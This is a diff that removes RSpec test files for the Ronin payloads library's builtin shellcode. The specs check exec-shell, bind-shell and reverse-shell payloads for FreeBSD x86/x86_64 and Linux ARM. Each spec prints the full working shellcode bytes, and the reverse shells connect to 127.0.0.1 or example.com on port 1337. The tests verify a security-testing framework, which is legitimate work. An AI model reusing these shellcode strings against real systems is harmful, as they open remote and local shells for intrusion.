expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/freebsd/x86/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/freebsd/x86/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :freebsd" do
|
29
|
-
expect(subject.os).to be(:freebsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,63 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::FreeBSD::X86::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/freebsd/x86/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/freebsd/x86/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :freebsd" do
|
29
|
-
expect(subject.os).to be(:freebsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2" \
|
51
|
-
"\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x68\x01\x02\x89" \
|
52
|
-
"\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
|
53
|
-
"\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
|
54
|
-
"\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
|
55
|
-
"\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
|
56
|
-
)
|
57
|
-
end
|
58
|
-
|
59
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
60
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
61
|
-
end
|
62
|
-
end
|
63
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::FreeBSD::X86_64::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/freebsd/x86_64/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/freebsd/x86_64/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :freebsd" do
|
29
|
-
expect(subject.os).to be(:freebsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,62 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/arm/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::ARM::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/arm/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/arm/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :arm" do
|
21
|
-
expect(subject.arch).to be(:arm)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
let(:sin_port) { "\x05\x39".b }
|
49
|
-
let(:sin_port_lo) { sin_port[1] }
|
50
|
-
let(:sin_port_hi) { sin_port[0] }
|
51
|
-
|
52
|
-
it "must set #payload" do
|
53
|
-
expect(subject.payload).to eq(
|
54
|
-
"\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0\xe3\x07\x00\x2d\xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60\xa0\xe1#{sin_port_lo}\x10\xa0\xe3#{sin_port_hi}\x70\xa0\xe3\x01\x1c\xa0\xe1\x07\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x07\x00\x2d\xe9\x02\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0\x8d\xe2\x01\x10\xa0\xe3\x06\x00\xa0\xe1\x03\x00\x2d\xe9\x04\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x08\xd0\x8d\xe2\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x07\x00\x2d\xe9\x05\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60\xa0\xe1\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x00\x90\xef\x01\x10\x51\xe2\xfb\xff\xff\x5a\x04\x10\x4d\xe2\x02\x20\x42\xe0\x2f\x30\xa0\xe3\x62\x70\xa0\xe3\x07\x34\x83\xe0\x69\x70\xa0\xe3\x07\x38\x83\xe0\x6e\x70\xa0\xe3\x07\x3c\x83\xe0\x2f\x40\xa0\xe3\x73\x70\xa0\xe3\x07\x44\x84\xe0\x68\x70\xa0\xe3\x07\x48\x84\xe0\x73\x50\xa0\xe3\x68\x70\xa0\xe3\x07\x54\x85\xe0\x3e\x00\x2d\xe9\x08\x00\x8d\xe2\x00\x10\x8d\xe2\x04\x20\x8d\xe2\x0b\x00\x90\xef".b
|
55
|
-
)
|
56
|
-
end
|
57
|
-
|
58
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
59
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
60
|
-
end
|
61
|
-
end
|
62
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/arm/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::ARM::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/arm/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/arm/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :arm" do
|
21
|
-
expect(subject.arch).to be(:arm)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/arm/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::ARM::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/arm/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/arm/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :arm" do
|
21
|
-
expect(subject.arch).to be(:arm)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x01\x10\x8F\xE2\x11\xFF\x2F\xE1\x02\x20\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x08\xa1\x10\x22\x02\x37\x01\xdf\x3f\x27\x02\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x05\xa0\x92\x1a\x05\xb4\x69\x46\x0b\x27\x01\xdf\xc0\x46\x02\x00\x05\x39\x7f\x00\x00\x01/bin/sh\0".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|